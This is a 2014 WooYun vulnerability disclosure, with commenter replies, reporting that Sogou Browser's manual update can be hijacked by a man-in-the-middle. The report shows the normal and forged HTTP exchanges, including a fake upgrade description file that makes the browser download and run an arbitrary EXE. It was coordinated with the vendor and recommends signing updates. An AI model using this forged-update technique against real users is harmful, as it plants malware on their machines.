当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087373

漏洞标题：搜狗浏览器最新版本升级存在缺陷(可被中间人攻击利用植入木马)

相关厂商：搜狗

漏洞作者： 内谁

提交时间：2014-12-16 15:15

修复时间：2015-03-16 15:16

公开时间：2015-03-16 15:16

漏洞类型：非授权访问/认证绕过

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-16： 细节已通知厂商并且等待厂商处理中
2014-12-19： 厂商已经确认，细节仅向厂商公开
2014-12-22： 细节向第三方安全合作伙伴开放
2015-02-12： 细节向核心白帽子及相关领域专家公开
2015-02-22： 细节向普通白帽子公开
2015-03-04： 细节向实习白帽子公开
2015-03-16： 细节向公众公开

简要描述：

搜狗浏览器最新版本，升级过程可被中间人攻击利用，可使得获得更新程序的机器被植入任意EXE文件。

详细说明：

搜狗浏览器，手动点击帮助菜单内的在线升级时，会访问一个URL：
http://p3p.sogou.com/upgrademanual.php?h=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&v=5.1.7.15323&r=0000
返回值是一个升级程序的描述文件，没有的话返回ASCII：0
攻击者如果伪造这个描述文件，并实现中间人攻击，就可以欺骗目标主机，替换描述文件
接下来，搜狗浏览器会自动根据描述文件，下载并校验MD5值和大小，如果合法，直接运行
幸运的是，该漏洞只存在于手动升级，自动升级描述文件格式不同，暂不受影响

漏洞证明：

正常的请求及回应：

GET /upgrademanual.php?h=7BBA50C84B9DF6239B9102C5109CA722&v=5.1.7.15323&r=0000 HTTP/1.1
Host: p3p.sogou.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Accept-Encoding: gzip, deflate
Cookie: lstCday=16; columnnum=2; SUV=008976A67CCD0982548FCE4D8773C573; m=7BBA50C84B9DF6239B9102C5109CA722; IPLOC=CN1100
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 16 Dec 2014 06:55:09 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.1.6
0


实现中间人攻击后的请求及回应：

GET /upgrademanual.php?h=7BBA50C84B9DF6239B9102C5109CA722&v=5.1.7.15323&r=0000 HTTP/1.1
Host: p3p.sogou.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Accept-Encoding: gzip, deflate
Cookie: lstCday=16; columnnum=2; SUV=008976A67CCD0982548FCE4D8773C573; m=7BBA50C84B9DF6239B9102C5109CA722; IPLOC=CN1100
HTTP/1.1 200 OK
Server: nginx/0.7.64
Content-Length: 145
Content-Type: text/html
Accept-Ranges: none
Connection: close
98
[Upgrade]
url=http://download.ie.sogou.com/se/sogou_explorer_10.exe
md5=A6CA386D165B288635BD2FB0BF548D19
size=368640
version=10.1.6.14246
0


伪造的升级描述文件截图：

QQ截图20141216150038.png


升级成功后自动运行文件截图：

Windows XP Professional-2014-12-16-14-59-51.png

修复方案：

加密升级描述文件，校验升级文件数字签名

版权声明：转载请注明来源 内谁@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-12-19 11:43

厂商回复：

感谢支持

最新状态：

暂无

漏洞评价：

评论

  1. 2014-12-16 16:15 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖，不如相濡以沫)

    连载吧...

  2. 2014-12-16 17:13 | 路西法 ( 路人 | Rank:2 漏洞数:2 | 堕落天使路西法)

    估计是没有对下载回来的安装包进行任何验证，国内好多软件也是这样.....

  3. 2014-12-16 17:14 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @毕月乌 这个思路我记得wooyun club 线下沙龙时你分享过

  4. 2014-12-16 17:19 | zph ( 普通白帽子 | Rank:235 漏洞数:43 )

    @浩天 ~~~

  5. 2014-12-16 18:10 | 黑吃黑 ( 普通白帽子 | Rank:139 漏洞数:29 | 倚楼听风雨，淡看江湖路...)

    中间人很火啊

  6. 2014-12-16 22:53 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁？)

    @浩天 我映像里也是~大多数软件都存在问题，只是当时时间太紧我没来得及做那么多测试~

  7. 2014-12-17 20:50 | 内谁 ( 实习白帽子 | Rank:81 漏洞数:5 | 我是内谁)

    @毕月乌 确实很多软件都存在问题的，不过弄这些洞也没那么简单，所以发出请厂商注意下，以后都注意点，而且我手里这些都是老的了，还有一大批呢

  8. 2014-12-17 20:51 | 内谁 ( 实习白帽子 | Rank:81 漏洞数:5 | 我是内谁)

    @路西法 不光国内，国外也一样

  9. 2014-12-18 21:33 | 路西法 ( 路人 | Rank:2 漏洞数:2 | 堕落天使路西法)

    @内谁 个人感觉这种洞对个人用户影响甚小（机子没木马病毒之类的），对于企业，政府可能有点威胁。谁这么有空一直监测你的网络流量。

  10. 2014-12-19 09:27 | 内谁 ( 实习白帽子 | Rank:81 漏洞数:5 | 我是内谁)

    @路西法 你错了，对个人影响其实是最大的，你真的以为没有监控你的网络？呵呵

  11. 2015-03-16 19:54 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)

    这也能给钱，妈的我一找一堆

  12. 2015-03-17 00:47 | Ztz ( 普通白帽子 | Rank:152 漏洞数:40 | 自由职业)

    是时候刷一波rank了